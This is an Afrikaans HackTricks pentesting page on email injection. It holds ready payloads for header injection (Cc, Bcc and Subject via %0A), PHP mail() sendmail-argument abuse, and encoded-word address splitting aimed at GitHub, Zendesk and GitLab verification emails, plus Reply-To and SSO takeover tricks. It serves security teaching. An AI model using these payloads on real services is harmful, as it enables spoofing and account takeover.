E-pos Injekties
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Injekter in gestuurde e-pos
Injekter Cc en Bcc na sender argument
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
Die boodskap sal na die ontvanger en ontvanger1 rekeninge gestuur word.
Inspuitargument
From:sender@domain.com%0ATo:attacker@domain.com
Die boodskap sal na die oorspronklike ontvanger en die aanvaller rekening gestuur word.
Injeksie Onderwerp argument
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
Die vals onderwerp sal by die oorspronklike onderwerp gevoeg word en in sommige gevalle dit vervang. Dit hang af van die e-posdiens se gedrag.
Verander die liggaam van die boodskap
Injekteer ân twee-lyn voeding, skryf dan jou boodskap om die liggaam van die boodskap te verander.
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
PHP mail() funksie uitbuiting
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
Die 5de parameter ($additional_parameters)
Hierdie afdeling gaan gebaseer wees op hoe om hierdie parameter te misbruik, veronderstel dat ân aanvaller dit beheer.
Hierdie parameter gaan by die opdraglyn gevoeg word wat PHP gaan gebruik om die binĂȘre sendmail aan te roep. Dit sal egter gesuiwer word met die funksie escapeshellcmd($additional_parameters).
ân Aanvaller kan uitgesonderde parameters vir sendmail inspuit in hierdie geval.
Verskille in die implementering van /usr/sbin/sendmail
sendmail koppelvlak word verskaf deur die MTA e-pos sagteware (Sendmail, Postfix, Exim ens.) wat op die stelsel geĂŻnstalleer is. Alhoewel die basiese funksionaliteit (soos -t -i -f parameters) dieselfde bly vir kompatibiliteitsredes, verskil ander funksies en parameters baie, afhangende van die geĂŻnstalleerde MTA.
Hier is ân paar voorbeelde van verskillende man bladsye van die sendmail opdrag/koppelvlak:
- Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences
Afhangende van die oorsprong van die sendmail binĂȘre is verskillende opsies ontdek om dit te misbruik en leak lĂȘers of selfs willekeurige opdragte uit te voer. Kyk hoe in https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
Inspuit in die e-pos naam
Caution
Let daarop dat as jy daarin slaag om ân rekening in ân diens met ân willekeurige domeinnaam (soos Github, Gitlab, CloudFlare Zero trustâŠ) te skep en dit te verifieer deur die verifikasie-e-pos in jou e-posadres te ontvang, jy dalk toegang kan verkry tot sensitiewe plekke van die slagoffer se maatskappy.
Geignoreerde dele van ân e-pos
Die simbole: +, - en {} kan in seldsame gevalle gebruik word vir etikettering en word deur die meeste e-pos bedieners geignoreer.
- Byvoorbeeld: john.doe+intigriti@example.com â john.doe@example.com
Kommentaar tussen hakies () aan die begin of die einde sal ook geignoreer word.
- Byvoorbeeld: john.doe(intigriti)@example.com â john.doe@example.com
Whitelist omseiling
.png)
Aanhalings
.png)
IPâs
Jy kan ook IPâs as domeinnames tussen vierkante hakies gebruik:
- john.doe@[127.0.0.1]
- john.doe@[IPv6:2001:db8::1]
E-pos Kodering
Soos verduidelik in hierdie navorsing, kan e-posname ook gekodeerde karakters bevat:
- PHP 256 oorgeloop: PHP
chrfunksie sal voortgaan om 256 by ân karakter te voeg totdat dit positief word en dan die operasie%256uitvoer. String.fromCodePoint(0x10000 + 0x40) // đ â @
Tip
Die doel van hierdie truuk is om te eindig met ân inspuiting soos
RCPT TO:<"collab@psres.net>collab"@example.com>
wat die verifikasie-e-pos na ân ander e-posadres as die verwagte een sal stuur (dus om ân ander e-posadres binne die e-posnaam in te voer en die sintaksis te breek wanneer die e-pos gestuur word).
Verskillende kodering:
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
#Â iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 â x@<svg/
Payloads:
- Github:
=?x?q?collab=40psres.net=3e=00?=foo@example.com - Let op die geënkodeerde
@as =40, die geënkodeerde>as=3eennullas=00 - Dit sal die verifikasie-e-pos na
collab@psres.netstuur - Zendesk:
"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com - Dieselfde truuk as voorheen, maar voeg ân gewone aanhaling aan die begin en geĂ«nkodeerde aanhaling
=22voor die geĂ«nkodeerde@en dan begin en sluit ân paar aanhalings voor die volgende e-pos om die sintaksis wat intern deur Zendesk gebruik word, reg te stel - Dit sal die verifikasie-e-pos na
collab@psres.netstuur - Gitlab:
=?x?q?collab=40psres.net_?=foo@example.com - Let op die gebruik van die onderstreep as ân spasie om die adres te skei
- Dit sal die verifikasie-e-pos na
collab@psres.netstuur - Punycode: Deur Punycode te gebruik, was dit moontlik om ân etiket
<stylein Joomla in te spuit en dit te misbruik om die CSRF-token via CSS-uitvloeiing te steel.
Tooling
- Daar is ân Burp Suite Turbo Intruder script om hierdie soort kombinasies te fuzz om te probeer om e-posformate aan te val. Die script het reeds potensieel werkende kombinasies.
- Dit is ook moontlik om Hackvertor te gebruik om ân e-pos splitsing aanval te skep
Other vulns
.png)
Third party SSO
XSS
Sommige dienste soos github of salesforce laat jou toe om ân e-posadres met XSS-payloads daarop te skep. As jy hierdie verskaffers kan gebruik om in ander dienste aan te meld en hierdie dienste nie sanitiseer die e-pos korrek nie, kan jy XSS veroorsaak.
Account-Takeover
As ân SSO-diens jou toelaat om ân rekening te skep sonder om die gegewe e-posadres te verifieer (soos salesforce) en dan kan jy daardie rekening gebruik om in ân ander diens aan te meld wat salesforce vertrou, kan jy toegang tot enige rekening verkry.
Nota dat salesforce aandui of die gegewe e-pos geverifieer was of nie, maar die toepassing moet ook hierdie inligting in ag neem.
Reply-To
Jy kan ân e-pos stuur met From: company.com en Replay-To: attacker.com en as enige outomatiese antwoord gestuur word omdat die e-pos van ân interne adres gestuur is, mag die aanvaller in staat wees om daardie antwoord te ontvang.
Hard Bounce Rate
Sekere dienste, soos AWS, implementeer ân drempel bekend as die Hard Bounce Rate, wat tipies op 10% gestel is. Dit is ân kritieke maatstaf, veral vir e-posafleweringsdienste. Wanneer hierdie koers oorskry word, kan die diens, soos AWS se e-posdiens, opgeskort of geblokkeer word.
ân hard bounce verwys na ân e-pos wat aan die sender teruggestuur is omdat die ontvanger se adres ongeldig of nie-bestaande is nie. Dit kan om verskeie redes gebeur, soos die e-pos wat na ân nie-bestaande adres gestuur word, ân domein wat nie werklik is nie, of die ontvanger se bediener se weiering om e-posse te aanvaar.
In die konteks van AWS, as jy 1000 e-posse stuur en 100 daarvan lei tot hard bounces (weens redes soos ongeldig adres of domeine), beteken dit ân 10% hard bounce koers. Om hierdie koers te bereik of te oorskry kan AWS SES (Simple Email Service) laat blokkeer of jou e-pos stuur vermoĂ«ns opskort.
Dit is van kardinale belang om ân lae hard bounce koers te handhaaf om ononderbroke e-posdiens te verseker en die sender se reputasie te handhaaf. Monitering en bestuur van die kwaliteit van die e-posadresse in jou poslyste kan aansienlik help om dit te bereik.
Vir meer gedetailleerde inligting kan AWS se amptelike dokumentasie oor die hantering van bounces en klagtes geraadpleeg word AWS SES Bounce Handling.
References
- https://resources.infosecinstitute.com/email-injection/
- https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html
- https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view
- https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

